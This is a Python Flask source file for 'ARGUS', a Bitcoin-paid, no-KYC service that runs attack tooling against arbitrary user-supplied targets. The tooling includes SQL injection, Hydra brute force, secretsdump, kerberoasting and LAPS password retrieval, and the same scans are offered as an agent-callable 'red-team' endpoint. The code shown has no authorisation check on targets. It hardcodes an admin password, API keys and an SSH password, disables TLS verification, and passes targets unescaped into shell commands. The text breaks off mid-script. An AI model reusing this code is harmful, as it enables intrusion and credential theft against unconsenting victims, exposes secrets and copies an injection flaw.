- Restore full v4: API keys, /api/scan, /docs, /openapi.json, /mcp MCP endpoint, subscriptions, AD-audit + creds scans - Add missing /api/login (premium owner login, permanent sub key) - Fix agent_report CoT leak: enable_thinking:false + reasoning_effort:low - Add Ollama fallback chain (.128 qwen3.8fast -> .186 ornith-1.5:9b) - Fix Kali API params: naabu uses 'host', wpscan uses 'url' - Fix creds_scan hydra contract (target+service+username) - Fix run_osint: missing 'ssh' command (sshpass -p X ssh -o ...) - Harden sub_active against naive datetime
1308 lines
69 KiB
Python
1308 lines
69 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
ARGUS v4 — The Hundred-Eyed Watchman
|
|
=====================================
|
|
Rentable AI security agent. Real tool calls, real results, in the browser.
|
|
Bitcoin (sats) settled. No KYC. qwen3.8-fast interprets every result.
|
|
|
|
ARGUS PANOPTES — the hundred-eyed giant of Greek myth, the all-seeing
|
|
watchman who never sleeps. Every eye open. Nothing escapes the gaze.
|
|
|
|
Tooling:
|
|
- Web vuln -> SUPERkali (.177) 70-tool REST API: nuclei/ffuf/nmap/sqlmap/nikto/wpscan
|
|
- OSINT -> OSINT VM (.66): sherlock / theHarvester / spiderfoot / holehe / maigret
|
|
- AD audit -> Commando (.47): impacket secretsdump/kerberoast/asreproast + winPEAS + hashcat
|
|
- Creds -> SUPERkali: crackmapexec / enum4linux / hydra / smbclient
|
|
- Agent -> qwen3.8fast @ shadow-death (.128) for professional reports
|
|
|
|
API: agent-native. Mint a key, submit scans as JSON, poll results.
|
|
Docs live at /docs — human and machine readable (OpenAPI at /openapi.json).
|
|
|
|
MCP: paid weekly subscription unlocks ARGUS as a red-team MCP endpoint
|
|
at /mcp — agents connect over the Model Context Protocol, list tools,
|
|
and call scans programmatically. Subscription settled in Bitcoin.
|
|
|
|
drjones — indianaholmes@thetempleofdoom.com
|
|
"""
|
|
import os, sqlite3, json, subprocess, uuid, hashlib, hmac, threading, urllib.request, ssl, base64
|
|
from datetime import datetime, timezone, timedelta
|
|
from flask import Flask, request, jsonify, render_template_string, g, Response
|
|
|
|
# BTCPay uses a self-signed cert on the LAN — trust it
|
|
_SSL = ssl.create_default_context()
|
|
_SSL.check_hostname = False
|
|
_SSL.verify_mode = ssl.CERT_NONE
|
|
|
|
# ─── CONFIG ──────────────────────────────────────────────────────────────────
|
|
PROXMOX_HOST = "10.30.20.85"
|
|
PROXMOX_USER = "root"
|
|
KALI_VMID = "109"
|
|
OSINT_VMID = "547"
|
|
COMMANDO_VMID = "601"
|
|
KALI_API = "http://10.30.30.177:5000"
|
|
BTCPAY_URL = "https://10.30.20.140"
|
|
BTCPAY_PUBLIC = "https://btcpay.thetempleofdoom.com"
|
|
BTCPAY_KEY = "6026288e2e315984661c748baafd509e81a75f22"
|
|
BTCPAY_STORE = "5L7HDf8LPG57JvW3ukcuG1ScruAfxEA6bhBYy5zNRuxh"
|
|
STORE_ADDR = "bc1qvj4x74dnvzw3ku2f8lrmhz4g6r4p63djcs2y39"
|
|
WEBHOOK_SECRET = "BsvyofWDqri5mDbQxhWhW3"
|
|
OLLAMA_URL = "http://10.30.20.128:11434"
|
|
OLLAMA_MODEL = "qwen3.8fast"
|
|
# Fallback chain — .128 (nightmare 4080S) is flaky; .186 (light_reaper 3070) is the reliable backup.
|
|
OLLAMA_HOSTS = [
|
|
("http://10.30.20.128:11434", "qwen3.8fast"), # primary — the main brain
|
|
("http://10.30.20.186:11434", "ornith-1.5:9b"), # fallback — long-context specialist
|
|
]
|
|
ADMIN_USER = "drjones"
|
|
ADMIN_PASS = "Czapiewski1!"
|
|
SECRET = os.environ.get("ARGUS_SECRET", uuid.uuid4().hex)
|
|
DB_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "argus.db")
|
|
PUBLIC_BASE = "https://argus.thetempleofdoom.com"
|
|
|
|
# Pricing in SATS (1 BTC = 100,000,000 sats)
|
|
PRICES_SATS = {
|
|
"web-vuln": 4000,
|
|
"osint": 2500,
|
|
"ad-audit": 5000,
|
|
"creds": 3500,
|
|
"monitor": 15000,
|
|
}
|
|
|
|
# MCP subscription (weekly, in sats)
|
|
MCP_PLANS = {
|
|
"mcp-weekly": {"sats": 20000, "label": "Red-Team MCP Endpoint — 7 days", "days": 7},
|
|
"mcp-monthly": {"sats": 60000, "label": "Red-Team MCP Endpoint — 30 days", "days": 30},
|
|
}
|
|
|
|
# ─── DB ──────────────────────────────────────────────────────────────────────
|
|
def get_db():
|
|
db = getattr(g, "_db", None)
|
|
if db is None:
|
|
db = g._db = sqlite3.connect(DB_PATH); db.row_factory = sqlite3.Row
|
|
return db
|
|
|
|
def init_db():
|
|
db = sqlite3.connect(DB_PATH)
|
|
db.executescript("""
|
|
CREATE TABLE IF NOT EXISTS jobs (
|
|
id TEXT PRIMARY KEY, email TEXT, kind TEXT, target TEXT,
|
|
status TEXT DEFAULT 'pending', -- unpaid | running | done | failed
|
|
invoice_id TEXT, raw TEXT, report TEXT, params TEXT DEFAULT '{}',
|
|
created_at TEXT DEFAULT (datetime('now'))
|
|
);
|
|
CREATE TABLE IF NOT EXISTS api_keys (
|
|
key TEXT PRIMARY KEY, email TEXT, label TEXT,
|
|
created_at TEXT DEFAULT (datetime('now'))
|
|
);
|
|
CREATE TABLE IF NOT EXISTS subscriptions (
|
|
key TEXT PRIMARY KEY, email TEXT, plan TEXT,
|
|
expires_at TEXT, -- ISO UTC timestamp
|
|
created_at TEXT DEFAULT (datetime('now'))
|
|
);
|
|
""")
|
|
# migrate: ensure raw/report/params columns exist (older DBs used 'result' or lacked params)
|
|
cols = [r[1] for r in db.execute("PRAGMA table_info(jobs)").fetchall()]
|
|
for name, ddl in [("raw", "TEXT"), ("report", "TEXT"), ("params", "TEXT DEFAULT '{}'")]:
|
|
if name not in cols:
|
|
db.execute(f"ALTER TABLE jobs ADD COLUMN {name} {ddl}")
|
|
db.commit(); db.close()
|
|
|
|
# ─── TOOL EXECUTORS ──────────────────────────────────────────────────────────
|
|
def _ssh(cmd, timeout):
|
|
r = subprocess.run(["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=10",
|
|
f"{PROXMOX_USER}@{PROXMOX_HOST}", cmd],
|
|
capture_output=True, text=True, timeout=timeout)
|
|
return r.stdout + r.stderr
|
|
|
|
def run_guest(vmid, cmd, timeout=420):
|
|
"""Run a command inside a Linux VM via Proxmox guest exec; return decoded stdout."""
|
|
out = _ssh(f"qm guest exec {vmid} -- bash -c {cmd!r}", timeout)
|
|
try:
|
|
return json.loads(out).get("out-data", "")
|
|
except Exception:
|
|
return out
|
|
|
|
def run_commando(ps_script, timeout=420):
|
|
"""Run PowerShell on the Commando VM (Windows) via guest exec (base64 UTF-16LE)."""
|
|
enc = base64.b64encode(ps_script.encode("utf-16-le")).decode()
|
|
out = _ssh(f"qm guest exec {COMMANDO_VMID} -- powershell -NoProfile -EncodedCommand {enc}", timeout)
|
|
try:
|
|
d = json.loads(out)
|
|
return d.get("out-data", "") or d.get("err-data", "")
|
|
except Exception:
|
|
return out
|
|
|
|
def kali_api(tool, params, timeout=600):
|
|
"""Call the Kali REST API (70 tools) at /api/tools/<tool>."""
|
|
body = json.dumps(params).encode()
|
|
req = urllib.request.Request(f"{KALI_API}/api/tools/{tool}", data=body,
|
|
headers={"Content-Type": "application/json"})
|
|
try:
|
|
r = urllib.request.urlopen(req, timeout=timeout)
|
|
d = json.loads(r.read())
|
|
if isinstance(d, dict) and "stdout" in d:
|
|
return (d.get("stdout") or "") + (("\nERR: " + d["stderr"]) if d.get("stderr") else "")
|
|
if isinstance(d, dict) and "error" in d:
|
|
return "ERR: " + str(d["error"])
|
|
return json.dumps(d, indent=2)
|
|
except Exception as e:
|
|
return f"ERR: {e}"
|
|
|
|
OSINT_HOST = "10.30.30.66"
|
|
OSINT_USER = "osint"
|
|
OSINT_KEY = "osint"
|
|
|
|
def run_osint(cmd, timeout=300):
|
|
"""Run a command on the OSINT VM (10.30.30.66) over SSH."""
|
|
r = subprocess.run(["sshpass", "-p", OSINT_KEY, "ssh", "-o", "StrictHostKeyChecking=no",
|
|
"-o", "ConnectTimeout=10", f"{OSINT_USER}@{OSINT_HOST}", cmd],
|
|
capture_output=True, text=True, timeout=timeout)
|
|
return r.stdout + r.stderr
|
|
|
|
# ─── AGENT (qwen3.8) ─────────────────────────────────────────────────────────
|
|
def _llm_generate(prompt):
|
|
"""Try each Ollama host/model in order; return text or None.
|
|
|
|
qwen3.8fast needs enable_thinking:false + reasoning_effort:low (its template
|
|
keys on those fields, NOT Ollama's `think` field) or it leaks ////// CoT junk.
|
|
ornith-1.5:9b honours a top-level think:false."""
|
|
for url, model in OLLAMA_HOSTS:
|
|
opts = {"num_predict": 1024}
|
|
if model.startswith("qwen"):
|
|
opts.update({"enable_thinking": False, "reasoning_effort": "low"})
|
|
body = json.dumps({"model": model, "prompt": prompt, "stream": False,
|
|
"think": False, "options": opts}).encode()
|
|
req = urllib.request.Request(f"{url}/api/generate", data=body,
|
|
headers={"Content-Type": "application/json"})
|
|
try:
|
|
r = urllib.request.urlopen(req, timeout=180)
|
|
out = json.loads(r.read()).get("response", "").strip()
|
|
if out:
|
|
return out
|
|
except Exception:
|
|
continue
|
|
return None
|
|
|
|
def agent_report(kind, target, raw):
|
|
"""Turn raw tool output into a professional findings report (LLM)."""
|
|
if not raw or not raw.strip():
|
|
return "No findings returned from the tooling."
|
|
prompt = (
|
|
f"You are the ARGUS security agent. Turn the following raw {kind} scan output "
|
|
f"for target '{target}' into a concise, professional security report. "
|
|
f"List concrete findings, severity, and recommended fixes. Be factual and "
|
|
f"technical — do not invent findings that are not in the raw output. "
|
|
f"Format as markdown.\n\n=== RAW OUTPUT ===\n{raw[:8000]}"
|
|
)
|
|
resp = _llm_generate(prompt)
|
|
if resp is None:
|
|
return f"(agent interpretation unavailable — no LLM host reachable)\n\n{raw[:3000]}"
|
|
return resp
|
|
|
|
# ─── SCANS ───────────────────────────────────────────────────────────────────
|
|
def web_vuln_scan(target):
|
|
host = target.split("://")[-1].split("/")[0].split(":")[0]
|
|
stages = {}
|
|
stages["subdomain_discovery"] = kali_api("subfinder", {"domain": host})
|
|
stages["port_scan"] = kali_api("naabu", {"host": host})
|
|
stages["http_probe"] = kali_api("httpx", {"target": host})
|
|
stages["vulnerability_scan"] = kali_api("nuclei", {"target": f"https://{host}", "additional_args": "-severity low,medium,high,critical -timeout 8"})
|
|
stages["cms_scan"] = kali_api("wpscan", {"url": f"https://{host}"})
|
|
stages["sql_injection"] = kali_api("sqlmap", {"target": f"https://{host}", "additional_args": "--batch --level 1 --risk 1"})
|
|
stages["service_enumeration"] = kali_api("nmap", {"target": host})
|
|
stages["directory_fuzzing"] = kali_api("ffuf", {"url": f"https://{host}", "wordlist": "/usr/share/seclists/Discovery/Web-Content/common.txt"})
|
|
return json.dumps(stages, indent=2)
|
|
|
|
def osint_scan(target):
|
|
stages = {}
|
|
stages["username_search"] = run_osint(f"timeout 90 sherlock {target} --timeout 10 2>/dev/null | head -50")
|
|
stages["email_domain_recon"] = run_osint(f"timeout 60 theHarvester -d {target} -b all 2>/dev/null | head -50")
|
|
stages["subdomain_enumeration"] = run_osint(f"timeout 60 sublist3r -d {target} 2>/dev/null | head -40")
|
|
stages["email_breach"] = run_osint(f"timeout 60 holehe {target} 2>/dev/null | head -40")
|
|
return json.dumps(stages, indent=2)
|
|
|
|
def ad_audit_scan(target, username="", password="", domain=""):
|
|
"""Windows / Active Directory assessment via Commando (impacket + recon)."""
|
|
host = target.split("://")[-1].split("/")[0].split(":")[0]
|
|
stages = {}
|
|
# unauthenticated recon
|
|
stages["port_scan"] = run_commando(
|
|
f'Import-Module "C:\\\\Tools\\\\PowerSploit\\\\Recon\\\\Invoke-Portscan.ps1"; '
|
|
f'Invoke-Portscan -Hosts "{host}" -Ports "21,22,53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,5986,8080,9389" -T 4'
|
|
)
|
|
cred = f"{domain}/{username}:{password}" if (domain and username) else (f"{username}:{password}" if username else "")
|
|
if cred:
|
|
stages["samrdump"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\samrdump.py "{cred}@{host}" 2>&1 | Select-Object -First 50')
|
|
stages["kerberoast"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetUserSPNs.py "{cred}@{host}" -request 2>&1 | Select-Object -First 60')
|
|
stages["asreproast"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetNPUsers.py "{cred}@{host}" -request -format hashcat 2>&1 | Select-Object -First 40')
|
|
stages["laps_passwords"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetLAPSPassword.py "{cred}@{host}" 2>&1 | Select-Object -First 30')
|
|
stages["secretsdump"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\secretsdump.py "{cred}@{host}" 2>&1 | Select-Object -First 80')
|
|
else:
|
|
stages["asreproast_enum"] = run_commando(
|
|
f'python C:\\\\Python311\\\\Scripts\\\\GetNPUsers.py "{domain}/" -no-pass -dc-ip "{host}" -request -format hashcat 2>&1 | Select-Object -First 30'
|
|
)
|
|
return json.dumps(stages, indent=2)
|
|
|
|
def creds_scan(target, username="", password=""):
|
|
"""Credential / SMB attacks via Kali (crackmapexec, enum4linux, hydra, smbclient)."""
|
|
host = target.split("://")[-1].split("/")[0].split(":")[0]
|
|
stages = {}
|
|
stages["smb_enum"] = kali_api("enum4linux", {"target": host})
|
|
stages["smb_client"] = kali_api("smbclient", {"target": host})
|
|
stages["smb_attack"] = kali_api("crackmapexec", {"target": f"smb {host}"})
|
|
if username:
|
|
stages["hydra_smb"] = kali_api("hydra", {"target": host, "service": "smb", "username": username})
|
|
return json.dumps(stages, indent=2)
|
|
|
|
def run_job(job_id):
|
|
db = sqlite3.connect(DB_PATH); db.row_factory = sqlite3.Row
|
|
job = db.execute("SELECT * FROM jobs WHERE id=?", (job_id,)).fetchone()
|
|
db.execute("UPDATE jobs SET status='running' WHERE id=?", (job_id,)); db.commit()
|
|
try:
|
|
params = json.loads(job["params"] or "{}")
|
|
username = params.get("username", "")
|
|
password = params.get("password", "")
|
|
domain = params.get("domain", "")
|
|
kind = job["kind"]
|
|
target = job["target"]
|
|
if kind == "web-vuln":
|
|
raw = web_vuln_scan(target)
|
|
elif kind == "ad-audit":
|
|
raw = ad_audit_scan(target, username, password, domain)
|
|
elif kind == "creds":
|
|
raw = creds_scan(target, username, password)
|
|
else:
|
|
raw = osint_scan(target)
|
|
report = agent_report(kind, target, raw)
|
|
db.execute("UPDATE jobs SET raw=?, report=?, status='done' WHERE id=?", (raw, report, job_id))
|
|
except Exception as e:
|
|
db.execute("UPDATE jobs SET report=?, status='failed' WHERE id=?", (f"Scan error: {e}", job_id))
|
|
db.commit(); db.close()
|
|
|
|
# ─── BTCPAY ──────────────────────────────────────────────────────────────────
|
|
def btcpay_create_invoice(sats, order_id, desc, redirect=None):
|
|
btc = sats / 1e8
|
|
body = {"amount": str(btc), "currency": "BTC", "orderId": order_id,
|
|
"metadata": {"orderId": order_id, "description": desc}}
|
|
if redirect:
|
|
body["checkout"] = {"redirectURL": redirect}
|
|
req = urllib.request.Request(f"{BTCPAY_URL}/api/v1/stores/{BTCPAY_STORE}/invoices",
|
|
data=json.dumps(body).encode(),
|
|
headers={"Authorization": f"token {BTCPAY_KEY}",
|
|
"Content-Type": "application/json"})
|
|
try:
|
|
r = urllib.request.urlopen(req, timeout=20, context=_SSL)
|
|
inv = json.loads(r.read())
|
|
link = inv.get("checkoutLink")
|
|
if link:
|
|
link = link.replace("10.30.20.140", "btcpay.thetempleofdoom.com")
|
|
return link, inv.get("id")
|
|
except Exception as e:
|
|
return None, str(e)
|
|
|
|
def btcpay_verify(sig, raw):
|
|
if not sig: return False
|
|
expected = hmac.new(WEBHOOK_SECRET.encode(), raw, hashlib.sha256).hexdigest()
|
|
return hmac.compare_digest(f"sha256={expected}", sig)
|
|
|
|
# ─── API KEYS & SUBSCRIPTIONS ────────────────────────────────────────────────
|
|
def mint_key(email, label=""):
|
|
key = "argus_" + uuid.uuid4().hex
|
|
db = get_db()
|
|
db.execute("INSERT INTO api_keys (key, email, label) VALUES (?,?,?)", (key, email, label))
|
|
db.commit()
|
|
return key
|
|
|
|
def key_valid(key):
|
|
if not key: return False
|
|
db = get_db()
|
|
return db.execute("SELECT 1 FROM api_keys WHERE key=?", (key,)).fetchone() is not None
|
|
|
|
def key_email(key):
|
|
db = get_db()
|
|
row = db.execute("SELECT email FROM api_keys WHERE key=?", (key,)).fetchone()
|
|
return row["email"] if row else None
|
|
|
|
def sub_active(key):
|
|
"""True if the key has an unexpired subscription."""
|
|
if not key: return False
|
|
db = get_db()
|
|
row = db.execute("SELECT expires_at FROM subscriptions WHERE key=?", (key,)).fetchone()
|
|
if not row or not row["expires_at"]: return False
|
|
try:
|
|
exp = datetime.fromisoformat(row["expires_at"])
|
|
if exp.tzinfo is None:
|
|
exp = exp.replace(tzinfo=timezone.utc)
|
|
except Exception:
|
|
return False
|
|
return exp > datetime.now(timezone.utc)
|
|
|
|
def extend_subscription(key, email, plan):
|
|
days = MCP_PLANS[plan]["days"]
|
|
db = get_db()
|
|
row = db.execute("SELECT expires_at FROM subscriptions WHERE key=?", (key,)).fetchone()
|
|
base = datetime.now(timezone.utc)
|
|
if row and row["expires_at"]:
|
|
try:
|
|
cur = datetime.fromisoformat(row["expires_at"])
|
|
if cur > base:
|
|
base = cur
|
|
except Exception:
|
|
pass
|
|
exp = (base + timedelta(days=days)).isoformat()
|
|
db.execute("""INSERT INTO subscriptions (key, email, plan, expires_at) VALUES (?,?,?,?)
|
|
ON CONFLICT(key) DO UPDATE SET plan=excluded.plan, expires_at=excluded.expires_at, email=excluded.email""",
|
|
(key, email, plan, exp))
|
|
db.commit()
|
|
return exp
|
|
|
|
# ─── UI (premium, animated) ──────────────────────────────────────────────────
|
|
STYLE = """
|
|
:root{--bg:#05070d;--panel:rgba(13,20,38,.7);--line:rgba(56,89,152,.35);--txt:#e8f0fb;--dim:#8fa3c8;--acc:#22d3ee;--acc2:#8b5cf6;--good:#34d399;--warn:#fbbf24;--blood:#e11d48}
|
|
*{box-sizing:border-box;margin:0;padding:0}
|
|
html{scroll-behavior:smooth}
|
|
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--bg);color:var(--txt);line-height:1.6;-webkit-font-smoothing:antialiased;overflow-x:hidden}
|
|
#bg{position:fixed;inset:0;z-index:0;pointer-events:none}
|
|
#bg canvas{display:block}
|
|
.content{position:relative;z-index:1}
|
|
.wrap{max-width:1140px;margin:0 auto;padding:0 24px}
|
|
nav{display:flex;justify-content:space-between;align-items:center;padding:22px 0;position:relative;z-index:2}
|
|
.logo{font-weight:900;font-size:1.5rem;letter-spacing:2px}.logo span{background:linear-gradient(90deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent}
|
|
.logo .eye{display:inline-block;width:14px;height:14px;border-radius:50%;background:radial-gradient(circle at 35% 35%,var(--acc),#041018 70%);box-shadow:0 0 12px var(--acc);margin-right:10px;vertical-align:middle}
|
|
nav a{color:var(--dim);text-decoration:none;margin-left:24px;font-size:.92rem;transition:.2s}
|
|
nav a:hover{color:var(--txt)}
|
|
nav a.cta{background:linear-gradient(90deg,var(--acc),var(--acc2));color:#041018;padding:10px 20px;border-radius:10px;font-weight:700}
|
|
.hero{padding:110px 0 70px;text-align:center}
|
|
.hero .eyebrow{letter-spacing:4px;color:var(--acc);font-size:.8rem;text-transform:uppercase;margin-bottom:18px}
|
|
.hero .eyebrow .blink{animation:blink 1.4s infinite}
|
|
@keyframes blink{50%{opacity:.2}}
|
|
.hero h1{font-size:3.6rem;font-weight:900;letter-spacing:-1.5px;line-height:1.04}
|
|
.hero h1 span{background:linear-gradient(90deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent}
|
|
.hero p{color:var(--dim);font-size:1.22rem;max-width:680px;margin:24px auto}
|
|
.actions{margin-top:38px;display:flex;gap:16px;justify-content:center;flex-wrap:wrap}
|
|
.btn{display:inline-block;padding:15px 30px;border-radius:12px;font-weight:700;text-decoration:none;font-size:1rem;transition:.2s;cursor:pointer;border:none}
|
|
.btn:hover{transform:translateY(-2px)}
|
|
.btn.primary{background:linear-gradient(90deg,var(--acc),var(--acc2));color:#041018;box-shadow:0 8px 30px rgba(34,211,238,.25)}
|
|
.btn.ghost{border:1px solid var(--line);color:var(--txt);background:rgba(13,20,38,.4)}
|
|
.section{padding:70px 0}
|
|
.section h2{font-size:2.2rem;font-weight:800;text-align:center;margin-bottom:14px}
|
|
.section .sub{text-align:center;color:var(--dim);max-width:640px;margin:0 auto 40px}
|
|
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:20px}
|
|
.card{background:var(--panel);border:1px solid var(--line);border-radius:16px;padding:30px;backdrop-filter:blur(12px);transition:.25s}
|
|
.card:hover{transform:translateY(-4px);border-color:var(--acc);box-shadow:0 12px 40px rgba(34,211,238,.12)}
|
|
.card h3{font-size:1.15rem;margin-bottom:10px;color:var(--acc)}
|
|
.card p{color:var(--dim);font-size:.92rem}
|
|
.card .sats{font-size:1.9rem;font-weight:800;margin:16px 0 4px}
|
|
.card .sats small{font-size:.85rem;color:var(--dim);font-weight:400}
|
|
.panel{background:var(--panel);border:1px solid var(--line);border-radius:18px;padding:36px;margin:30px 0;backdrop-filter:blur(12px)}
|
|
label{display:block;margin:16px 0 6px;color:var(--dim);font-size:.88rem}
|
|
input,select{width:100%;padding:14px;border:1px solid var(--line);border-radius:10px;background:rgba(5,7,13,.7);color:var(--txt);font-size:1rem}
|
|
input:focus{outline:none;border-color:var(--acc);box-shadow:0 0 0 3px rgba(34,211,238,.15)}
|
|
.radios{display:flex;gap:18px;flex-wrap:wrap}
|
|
.radios label{display:flex;align-items:center;gap:8px;margin:0;color:var(--txt)}
|
|
.radios input{width:auto}
|
|
.opt{display:none}
|
|
.opt.show{display:block}
|
|
.tools{display:grid;grid-template-columns:repeat(auto-fill,minmax(210px,1fr));gap:14px}
|
|
.tool{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:18px}
|
|
.tool b{color:var(--acc);display:block;margin-bottom:4px;font-size:.95rem}
|
|
.tool span{color:var(--dim);font-size:.82rem}
|
|
.cat{margin:40px 0 16px;font-size:1.3rem;font-weight:800;color:var(--txt)}
|
|
.cat .tag{font-size:.7rem;color:var(--acc2);letter-spacing:2px;text-transform:uppercase;display:block;margin-bottom:2px}
|
|
footer{text-align:center;color:var(--dim);font-size:.85rem;padding:50px 0;position:relative;z-index:1}
|
|
footer a{color:var(--dim)}
|
|
.addr{font-family:monospace;background:rgba(5,7,13,.7);border:1px solid var(--line);border-radius:8px;padding:8px 14px;font-size:.82rem;word-break:break-all;color:var(--good)}
|
|
.status{display:inline-block;padding:5px 14px;border-radius:20px;font-weight:700;font-size:.85rem}
|
|
.pending{background:#2a2010;color:var(--warn)}.unpaid{background:#2a1a30;color:#c9a7e8}.running{background:#0f3050;color:#6cc3ff}.done{background:#0f2a1e;color:var(--good)}.failed{background:#2a1010;color:#f87171}
|
|
pre{background:rgba(5,7,13,.8);border:1px solid var(--line);border-radius:12px;padding:20px;overflow-x:auto;white-space:pre-wrap;font-size:.85rem;font-family:ui-monospace,monospace;line-height:1.5}
|
|
.report{background:var(--panel);border:1px solid var(--line);border-radius:16px;padding:28px;margin-top:20px}
|
|
.report h1,.report h2,.report h3{color:var(--acc);margin:16px 0 8px}
|
|
.report li{margin-left:20px;color:var(--dim)}
|
|
.report code{background:rgba(5,7,13,.8);padding:2px 6px;border-radius:4px}
|
|
.terminal{font-family:ui-monospace,'SF Mono',Menlo,monospace;background:rgba(2,4,9,.92);border:1px solid var(--line);border-radius:14px;max-width:640px;margin:34px auto 0;text-align:left;overflow:hidden;box-shadow:0 20px 60px rgba(0,0,0,.5)}
|
|
.terminal .bar{display:flex;align-items:center;gap:6px;padding:12px 16px;background:rgba(13,20,38,.6);border-bottom:1px solid var(--line)}
|
|
.terminal .bar i{width:11px;height:11px;border-radius:50%;display:inline-block}
|
|
.terminal .bar i.r{background:#ff5f56}.terminal .bar i.y{background:#ffbd2e}.terminal .bar i.g{background:#27c93f}
|
|
.terminal .bar span{color:var(--dim);font-size:.75rem;margin-left:8px;letter-spacing:1px}
|
|
.terminal .body{padding:18px 20px;font-size:.83rem;line-height:1.7;min-height:180px}
|
|
.terminal .body .ln{white-space:pre-wrap;word-break:break-word}
|
|
.terminal .body .ln .c{color:var(--good)}.terminal .body .ln .k{color:var(--acc)}.terminal .body .ln .d{color:var(--dim)}.terminal .body .ln .w{color:var(--warn)}.terminal .body .ln .b{color:var(--blood)}
|
|
.cursor{display:inline-block;width:8px;height:15px;background:var(--acc);vertical-align:-2px;animation:blink 1s infinite}
|
|
.redact{background:#1a2035;color:transparent;border-radius:3px;user-select:none}
|
|
.stamp{display:inline-block;border:2px solid var(--blood);color:var(--blood);padding:3px 14px;border-radius:4px;font-weight:800;letter-spacing:3px;font-size:.72rem;transform:rotate(-4deg);opacity:.8;text-transform:uppercase}
|
|
.docs{margin-top:50px}
|
|
.docs .endpoint{background:var(--panel);border:1px solid var(--line);border-radius:14px;margin:22px 0;overflow:hidden}
|
|
.docs .endpoint .head{display:flex;align-items:center;gap:14px;padding:18px 22px;background:rgba(13,20,38,.5);border-bottom:1px solid var(--line);flex-wrap:wrap}
|
|
.method{font-family:ui-monospace,monospace;font-weight:800;font-size:.8rem;padding:4px 12px;border-radius:6px;letter-spacing:1px}
|
|
.m-GET{background:#0f2a1e;color:var(--good)}.m-POST{background:#0f3050;color:#6cc3ff}
|
|
.docs .endpoint .head code.path{font-family:ui-monospace,monospace;color:var(--txt);font-size:1rem;font-weight:600}
|
|
.docs .endpoint .desc{padding:18px 22px;color:var(--dim);font-size:.92rem}
|
|
.docs .endpoint .desc b{color:var(--txt)}
|
|
.docs h3{color:var(--acc);margin:34px 0 6px;font-size:1.2rem}
|
|
.docs .auth-note{background:rgba(139,92,246,.08);border:1px solid rgba(139,92,246,.3);border-radius:10px;padding:14px 18px;color:var(--dim);font-size:.88rem;margin:14px 0}
|
|
.code-block{position:relative;margin:14px 0}
|
|
.code-block .lang{position:absolute;top:10px;right:16px;color:var(--dim);font-size:.7rem;letter-spacing:1px;text-transform:uppercase}
|
|
.tbl{width:100%;border-collapse:collapse;font-size:.86rem;margin:10px 0}
|
|
.tbl th{text-align:left;color:var(--acc);font-weight:600;padding:8px 10px;border-bottom:1px solid var(--line);font-size:.8rem}
|
|
.tbl td{padding:8px 10px;border-bottom:1px solid rgba(56,89,152,.15);color:var(--dim)}
|
|
.tbl td code{color:var(--txt);background:rgba(5,7,13,.6);padding:1px 6px;border-radius:4px;font-size:.8rem}
|
|
@media(max-width:680px){.hero h1{font-size:2.4rem}}
|
|
"""
|
|
|
|
BG_JS = """
|
|
<script>
|
|
(function(){
|
|
var c=document.createElement('canvas'),x=c.getContext('2d');document.getElementById('bg').appendChild(c);
|
|
var W,H,pts=[],N=110,mx=0,my=0;
|
|
function rs(){W=c.width=innerWidth;H=c.height=innerHeight;
|
|
pts=[];for(var i=0;i<N;i++)pts.push({x:Math.random()*W,y:Math.random()*H,vx:(Math.random()-.5)*.5,vy:(Math.random()-.5)*.5,r:Math.random()*1.8+.6});}
|
|
rs();addEventListener('resize',rs);addEventListener('mousemove',function(e){mx=e.clientX;my=e.clientY;});
|
|
function tick(){
|
|
x.clearRect(0,0,W,H);
|
|
for(var i=0;i<pts.length;i++){var p=pts[i];
|
|
p.x+=p.vx;p.y+=p.vy;
|
|
if(p.x<0||p.x>W)p.vx*=-1;if(p.y<0||p.y>H)p.vy*=-1;
|
|
var dx=p.x-mx,dy=p.y-my,d=Math.sqrt(dx*dx+dy*dy);
|
|
if(d<160){p.x+=dx/d*1.2;p.y+=dy/d*1.2;}
|
|
x.beginPath();x.arc(p.x,p.y,p.r,0,7);x.fillStyle='rgba(34,211,238,.7)';x.fill();}
|
|
for(var i=0;i<pts.length;i++)for(var j=i+1;j<pts.length;j++){
|
|
var a=pts[i],b=pts[j],dx=a.x-b.x,dy=a.y-b.y,d=dx*dx+dy*dy;
|
|
if(d<15000){x.beginPath();x.moveTo(a.x,a.y);x.lineTo(b.x,b.y);
|
|
x.strokeStyle='rgba(139,92,246,'+(0.14*(1-d/15000))+')';x.stroke();}}
|
|
requestAnimationFrame(tick);}
|
|
tick();
|
|
})();
|
|
</script>
|
|
"""
|
|
|
|
TERMINAL_JS = """
|
|
<script>
|
|
(function(){
|
|
var lines=[
|
|
['d','ARGUS PANOPTES v4.0.0'],
|
|
['d','booting the hundred eyes...'],
|
|
['g','[ OK ] kali.armory — 70 tools online'],
|
|
['g','[ OK ] commando.armory — impacket + winPEAS online'],
|
|
['g','[ OK ] osint.armory — trace-labs recon online'],
|
|
['k','[+] agent cortex — qwen3.8fast :: shadow-death .128'],
|
|
['k','[+] mcp endpoint — red-team subscription gate'],
|
|
['d','establishing gaze across the attack surface...'],
|
|
['w','[!] authorization required. bitcoin only. no KYC.'],
|
|
['c','>>> ARGUS is watching. what do you want to find?'],
|
|
];
|
|
var body=document.getElementById('term'),i=0,ch=0,cur='';
|
|
function type(){
|
|
if(i>=lines.length){return;}
|
|
var l=lines[i],txt=l[1];
|
|
if(ch<=txt.length){
|
|
cur=txt.slice(0,ch);
|
|
body.innerHTML=lines.slice(0,i).map(function(x){return '<div class=ln><span class='+x[0]+'>'+x[1]+'</span></div>'}).join('')
|
|
+'<div class=ln><span class='+l[0]+'>'+cur+'</span><span class=cursor></span></div>';
|
|
ch++;setTimeout(type,ch===1?60:14);
|
|
